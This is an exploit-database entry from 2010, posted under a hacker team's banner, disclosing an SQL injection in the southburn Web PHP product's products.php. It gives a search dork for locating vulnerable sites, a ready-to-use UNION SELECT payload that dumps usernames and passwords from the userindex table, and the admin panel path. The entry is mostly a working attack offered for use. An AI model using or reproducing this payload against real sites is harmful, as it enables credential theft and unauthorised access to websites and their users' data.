southburn Web - 'products.php' SQL Injection

Author: AtT4CKxT3rR0r1ST
type: webapps
platform: php
port: 
date_added: 2010-02-12 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : southburn Web [http://southburn.ca/]
.:. Bug Type : Sql Injection[Mysql]
.:. Dork : "Powered by: Southburn"

####################################################################

===[ Exploit ]===

www.site.com/products.php?id=null[Sql]&r=null

www.site.com/products.php?id=null'+and+1=2+union+select+1,group_concat(id,0x3a,username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+userindex-- -&r=null

Exploit:

'+and+1=2+union+select+1,group_concat(id,0x3a,username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+userindex-- -

Path admin:

www.site.com/admin/index.php
####################################################################